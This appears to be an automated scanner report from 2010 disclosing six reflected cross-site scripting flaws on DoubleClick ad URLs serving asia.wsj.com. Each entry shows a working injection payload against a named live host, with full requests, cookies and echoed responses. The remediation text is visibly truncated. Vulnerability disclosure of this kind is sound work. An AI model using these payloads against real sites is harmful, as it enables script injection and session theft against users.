Report generated by Hoyt LLC Research at Sun Nov 07 08:17:40 CST 2010.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://ad.in.doubleclick.net/adi/asia.wsj.com/business_asia_ruralindia [!category parameter]

1.2. http://ad.in.doubleclick.net/adi/asia.wsj.com/business_asia_ruralindia [name of an arbitrarily supplied request parameter]

1.3. http://ad.in.doubleclick.net/adi/asia.wsj.com/default [name of an arbitrarily supplied request parameter]

1.4. http://ad.in.doubleclick.net/adi/asia.wsj.com/default [u parameter]

1.5. http://ad.in.doubleclick.net/adj/asia.wsj.com/business_asia_ruralindia [!category parameter]

1.6. http://ad.in.doubleclick.net/adj/asia.wsj.com/business_asia_ruralindia [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ad.in.doubleclick.net/adi/asia.wsj.com/business_asia_ruralindia [!category parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adi/asia.wsj.com/business_asia_ruralindia

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea908"style%3d"x%3aexpression(alert(1))"142afda3985 was submitted in the !category parameter. This input was echoed as ea908"style="x:expression(alert(1))"142afda3985 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/asia.wsj.com/business_asia_ruralindia;!category=;;mc=b2pfreezone;tile=2;sz=377x140;ord=9925992599259925;ea908"style%3d"x%3aexpression(alert(1))"142afda3985 HTTP/1.1
Host: ad.in.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://india.wsj.com/public/page/rural-india.html?reflink=djm_hawsjindiawhartonjuly09x149
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=228ef07ef3000058|2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 09:48:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 622

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/q;215747247;1-0;0;38373245;29332-377/140;39015164/39032921/1;;~okv=;!category=;;mc=b2pfreezone;tile=2;sz=377x140;ea908"style="x:expression(alert(1))"142afda3985;~aopt=6/1/ff/1;~sscs=%3fhttp://online.wsj.com/article/SB10001424052702304233004575569413290371470.html">
...[SNIP]...

1.2. http://ad.in.doubleclick.net/adi/asia.wsj.com/business_asia_ruralindia [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adi/asia.wsj.com/business_asia_ruralindia

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37c92"style%3d"x%3aexpr/**/ession(alert(1))"6fd0e5db854 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 37c92"style="x:expr/**/ession(alert(1))"6fd0e5db854 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/asia.wsj.com/business_asia_ruralindia?37c92"style%3d"x%3aexpr/**/ession(alert(1))"6fd0e5db854=1 HTTP/1.1
Host: ad.in.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=228ef07ef3000058|2579983/399676/14920,2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc;

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 509
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 06:46:18 GMT
Expires: Sun, 07 Nov 2010 06:46:18 GMT
Connection: close

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/u;211732553;0-0;0;38373245;255-0/0;30185591/30203468/1;;~okv=;37c92"style="x:expr/**/ession(alert(1))"6fd0e5db854=1;~aopt=2/1/a8/1;~sscs=%3fhttp://asia.wsj.com/subscribe">
...[SNIP]...

1.3. http://ad.in.doubleclick.net/adi/asia.wsj.com/default [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adi/asia.wsj.com/default

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c818"style%3d"x%3aexpression(alert(1))"57e42c1a61b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5c818"style="x:expression(alert(1))"57e42c1a61b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/asia.wsj.com/default;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=9925992599259925;&5c818"style%3d"x%3aexpression(alert(1))"57e42c1a61b=1 HTTP/1.1
Host: ad.in.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://india.wsj.com/public/page/rural-india.html?reflink=djm_hawsjindiawhartonjuly09x149
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=228ef07ef3000058|2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 09:49:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 576

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/d;211539428;0-0;0;30670014;28942-377/50;37816821/37834669/1;u=;~okv=;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;&5c818"style="x:expression(alert(1))"57e42c1a61b=1;~aopt=2/1/ff/1;~sscs=%3fhttp://www.wsj-asia.com/subscribecpa.html">
...[SNIP]...

1.4. http://ad.in.doubleclick.net/adi/asia.wsj.com/default [u parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adi/asia.wsj.com/default

Issue detail

The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1e9a"style%3d"x%3aexpression(alert(1))"5f2d838d133 was submitted in the u parameter. This input was echoed as d1e9a"style="x:expression(alert(1))"5f2d838d133 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/asia.wsj.com/default;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=9925992599259925;d1e9a"style%3d"x%3aexpression(alert(1))"5f2d838d133 HTTP/1.1
Host: ad.in.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://india.wsj.com/public/page/rural-india.html?reflink=djm_hawsjindiawhartonjuly09x149
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=228ef07ef3000058|2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 09:48:49 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 573

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/d;211539428;0-0;0;30670014;28942-377/50;37816821/37834669/1;u=;~okv=;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;d1e9a"style="x:expression(alert(1))"5f2d838d133;~aopt=2/1/ff/1;~sscs=%3fhttp://www.wsj-asia.com/subscribecpa.html">
...[SNIP]...

1.5. http://ad.in.doubleclick.net/adj/asia.wsj.com/business_asia_ruralindia [!category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adj/asia.wsj.com/business_asia_ruralindia

Issue detail

The value of the !category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eaad8'-alert(1)-'ea7089c0812 was submitted in the !category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/asia.wsj.com/business_asia_ruralindia;!category=eaad8'-alert(1)-'ea7089c0812 HTTP/1.1
Host: ad.in.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://india.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.in.doubleclick.net/adj/asia.wsj.com/business_asia_ruralindia;!category=;;mc=b2pfreezone;tile=3;sz=336x280,300x250;ord=9925992599259925;
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=228ef07ef3000058|2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 378
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 10:25:34 GMT
Expires: Sun, 07 Nov 2010 10:25:34 GMT

document.write('<a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/n;211539428;0-0;0;38373245;255-0/0;37816821/37834669/1;;~okv=;!category=eaad8'-alert(1)-'ea7089c0812;~aopt=2/1/ff/1;~sscs=%3fhttp://www.wsj-asia.com/subscribecpa.html">
...[SNIP]...

1.6. http://ad.in.doubleclick.net/adj/asia.wsj.com/business_asia_ruralindia [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.in.doubleclick.net
Path:   /adj/asia.wsj.com/business_asia_ruralindia

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb72d'-alert(1)-'d5fb71a8d3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/asia.wsj.com/business_asia_ruralindia?eb72d'-alert(1)-'d5fb71a8d3f=1 HTTP/1.1
Host: ad.in.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=228ef07ef3000058|2579983/399676/14920,2754094/177071/14920,1174169/13503/14919|t=1286682537|et=730|cs=qi8o9zoc;

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 370
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 06:46:24 GMT
Expires: Sun, 07 Nov 2010 06:46:24 GMT
Connection: close

document.write('<a target="_blank" href="http://ad.in.doubleclick.net/click;h=v8/3a4b/0/0/%2a/y;211539428;0-0;0;38373245;255-0/0;37816821/37834669/1;;~okv=;eb72d'-alert(1)-'d5fb71a8d3f=1;~aopt=2/1/a8/1;~sscs=%3fhttp://www.wsj-asia.com/subscribecpa.html">
...[SNIP]...

Report generated by Hoyt LLC at Sun Nov 07 08:17:40 CST 2010.